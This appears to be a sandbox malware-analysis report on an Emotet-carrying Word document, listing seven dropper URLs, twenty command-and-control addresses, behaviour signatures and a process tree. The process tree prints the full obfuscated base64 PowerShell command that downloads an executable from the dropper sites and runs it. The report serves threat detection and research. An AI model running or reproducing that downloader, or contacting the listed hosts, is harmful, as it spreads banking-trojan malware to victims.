Overview

overview

10

Static

static

8

からの�...09.doc

windows7_x64

10

からの�...09.doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    19/09/2020, 06:33

Sharing

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Report Analysis Logs

General

  • Target
    からの変更20_09.doc
  • Size 178KB
  • Sample200919-yeppsrh2l6
  • SHA256 e1e9afb5bbc575dbf36a065e3f986bdd46ddb7a3282b2d41a5fd8259520c1cfe
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://santyago.org/wp-content/0mcYS6/
  • exe.dropper

    http://dandyair.com/font-awesome/rOOAL/
  • exe.dropper

    https://www.tekadbatam.com/wp-content/AUiw/
  • exe.dropper

    http://kellymorganscience.com/wp-content/SCsWM/
  • exe.dropper

    https://tewoerd.eu/img/DALSKE/
  • exe.dropper

    http://mediainmedia.com/plugin_opencart2.3-master/Atye/
  • exe.dropper

    http://nuwagi.com/old/XLGjc/

Extracted

Family

  • emotet

C2

  • 71.72.196.159:80

  • 134.209.36.254:8080

  • 120.138.30.150:8080

  • 94.23.216.33:80

  • 157.245.99.39:8080

  • 137.59.187.107:8080

  • 94.23.237.171:443

  • 61.19.246.238:443

  • 156.155.166.221:80

  • 50.35.17.13:80

  • 153.137.36.142:80

  • 91.211.88.52:7080

  • 209.141.54.221:8080

  • 185.94.252.104:443

  • 174.45.13.118:80

  • 87.106.136.232:8080

  • 62.75.141.82:80

  • 213.196.135.145:80

  • 188.219.31.12:80

  • 82.80.155.43:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\からの変更20_09.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABUADEAeAB5AHkAeQB4AD0AKAAoACcASwAnACsAJwBrAHkAbQAnACkAKwAoACcAXwA0ACcAKwAnAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBFAHIAUABSAE8ARgBpAEwAZQBcAHUANgB3ADcATwBfAGwAXABQAFMAagBrADMAcABOAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAEUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBjAFUAUgBpAGAAVABgAHkAUAByAG8AVABvAGMAYABvAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxADIAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAxADEAJwApACsAJwAsACcAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQARQByAG8AcwAzAGYAYwAgAD0AIAAoACgAJwBEACcAKwAnAHoAZAAnACkAKwAoACcAcwAnACsAJwB5AHEAeABiACcAKQApADsAJABHAHIAdgBuAGYAcwAzAD0AKAAoACcARAAzAGIAcwAnACsAJwBvACcAKQArACcAbQBmACcAKQA7ACQAQQBrADEAYwBkAHcAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAEYAJwArACcAeAAnACsAJwAyAFUAJwArACcANgB3ADcAbwBfAGwAJwApACsAJwBGACcAKwAoACcAeAAnACsAJwAyAFAAcwBqACcAKQArACcAawAnACsAJwAzACcAKwAnAHAAJwArACgAJwBuACcAKwAnAEYAeAAnACkAKwAnADIAJwApAC0AUgBFAHAAbABhAGMARQAgACAAKAAnAEYAeAAnACsAJwAyACcAKQAsAFsAYwBoAGEAUgBdADkAMgApACsAJABFAHIAbwBzADMAZgBjACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABZAHMAZQBtAF8AcwA0AD0AKAAoACcATgAnACsAJwBnAGMAJwApACsAJwBtADcAJwArACcAdgBrACcAKQA7ACQATgBjADIAeQAwAG8AMgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAFQALgB3AGUAYgBjAGwAaQBlAG4AdAA7ACQASAA1AHQANQA1AG8AawA9ACgAJwBoAHQAJwArACcAdAAnACsAKAAnAHAAcwA6ACcAKwAnAC8ALwBzACcAKwAnAGEAJwApACsAJwBuAHQAJwArACgAJwB5AGEAJwArACcAZwAnACkAKwAoACcAbwAuAG8AcgBnACcAKwAnAC8AJwApACsAJwB3ACcAKwAoACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACcAdAAvACcAKwAoACcAMABtACcAKwAnAGMAWQBTADYAJwApACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBkACcAKQArACcAYQAnACsAKAAnAG4AZAAnACsAJwB5ACcAKQArACcAYQBpACcAKwAnAHIALgAnACsAJwBjAG8AJwArACgAJwBtAC8AZgBvACcAKwAnAG4AdAAnACsAJwAtAGEAJwApACsAKAAnAHcAJwArACcAZQBzAG8AbQAnACkAKwAoACcAZQAvAHIAJwArACcATwAnACkAKwAoACcATwAnACsAJwBBACcAKwAnAEwALwAqAGgAdAB0ACcAKQArACgAJwBwAHMAOgAvACcAKwAnAC8AdwB3AHcALgAnACsAJwB0AGUAawAnACsAJwBhAGQAYgBhAHQAYQBtAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwAnACkAKwAoACcAbgB0ACcAKwAnAGUAJwApACsAJwBuACcAKwAnAHQALwAnACsAKAAnAEEAVQBpACcAKwAnAHcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAGsAJwArACcAZQAnACkAKwAoACcAbABsACcAKwAnAHkAJwApACsAJwBtACcAKwAoACcAbwByAGcAYQBuACcAKwAnAHMAYwAnACsAJwBpAGUAJwApACsAJwBuAGMAJwArACgAJwBlAC4AJwArACcAYwAnACkAKwAoACcAbwBtAC8AdwAnACsAJwBwAC0AYwAnACsAJwBvACcAKQArACgAJwBuAHQAJwArACcAZQAnACkAKwAoACcAbgAnACsAJwB0AC8AUwAnACkAKwAoACcAQwBzACcAKwAnAFcATQAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8AJwArACcALwB0ACcAKQArACcAZQAnACsAKAAnAHcAbwAnACsAJwBlACcAKQArACcAcgAnACsAJwBkACcAKwAnAC4AJwArACcAZQB1ACcAKwAoACcALwAnACsAJwBpAG0AZwAvAEQAQQAnACsAJwBMAFMAJwApACsAJwBLACcAKwAnAEUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAG0AZQAnACsAJwBkACcAKQArACcAaQBhACcAKwAoACcAaQBuACcAKwAnAG0AZQAnACkAKwAoACcAZABpACcAKwAnAGEAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALwAnACsAJwBwAGwAJwApACsAJwB1ACcAKwAoACcAZwBpAG4AXwBvAHAAJwArACcAZQBuACcAKQArACgAJwBjAGEAcgB0ACcAKwAnADIAJwApACsAKAAnAC4AMwAtACcAKwAnAG0AJwApACsAJwBhACcAKwAoACcAcwB0ACcAKwAnAGUAcgAvACcAKQArACgAJwBBAHQAeQAnACsAJwBlAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAbgB1AHcAYQAnACsAJwBnAGkALgBjAG8AJwArACcAbQAvAG8AbAAnACsAJwBkACcAKwAnAC8AWABMAEcAagBjAC8AJwApACkALgAiAHMAUABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUAAxAHAAZwBiAGwAagA9ACgAKAAnAFgAaQAnACsAJwA2ACcAKQArACgAJwBiACcAKwAnAGkAaQAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAWABoAHoANwBuAGsAbQAgAGkAbgAgACQASAA1AHQANQA1AG8AawApAHsAdAByAHkAewAkAE4AYwAyAHkAMABvADIALgAiAGQAbwBXAE4ATABPAGAAQQBkAGYASQBgAEwAZQAiACgAJABYAGgAegA3AG4AawBtACwAIAAkAEEAawAxAGMAZAB3AHEAKQA7ACQAWQBrADEAMABzADEAXwA9ACgAKAAnAFMAJwArACcAbgA1ADAAcAAnACkAKwAnAHAAagAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQQBrADEAYwBkAHcAcQApAC4AIgBsAGUAbgBgAEcAdABoACIAIAAtAGcAZQAgADMAMQAyADMAOQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABBAGsAMQBjAGQAdwBxACkAOwAkAFkAOAB6ADkAMABnAHgAPQAoACgAJwBJAHEAMgAnACsAJwB5ACcAKQArACgAJwAzAF8AJwArACcAawAnACkAKQA7AGIAcgBlAGEAawA7ACQAUwBvAHYANwBsAHYANwA9ACgAJwBSACcAKwAnAHMAJwArACgAJwB6ACcAKwAnAHIAawBuAHIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAdQBrAGwAYwBxAF8APQAoACgAJwBCADEAZwAnACsAJwBrACcAKQArACcAaQAnACsAJwBkADkAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe
      "C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Windows\SysWOW64\tquery\msoert2.exe
        "C:\Windows\SysWOW64\tquery\msoert2.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:860

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/572-14-0x0000000000230000-0x0000000000242000-memory.dmp
        Download

        memory/572-15-0x0000000000250000-0x0000000000260000-memory.dmp
        Download

        memory/860-19-0x0000000000610000-0x0000000000622000-memory.dmp
        Download

        memory/860-20-0x0000000000230000-0x0000000000240000-memory.dmp
        Download

        memory/1208-21-0x000007FEF7CD0000-0x000007FEF7F4A000-memory.dmp
        Download

        memory/1612-2-0x00000000096A0000-0x00000000096A4000-memory.dmp
        Download

        memory/1656-11-0x000000001B750000-0x000000001B751000-memory.dmp
        Download

        memory/1656-7-0x000000001AAE0000-0x000000001AAE1000-memory.dmp
        Download

        memory/1656-10-0x000000001B530000-0x000000001B531000-memory.dmp
        Download

        memory/1656-9-0x0000000001FE0000-0x0000000001FE1000-memory.dmp
        Download

        memory/1656-6-0x0000000001F10000-0x0000000001F11000-memory.dmp
        Download

        memory/1656-8-0x00000000024D0000-0x00000000024D1000-memory.dmp
        Download

        memory/1656-5-0x000007FEF1840000-0x000007FEF222C000-memory.dmp
        Download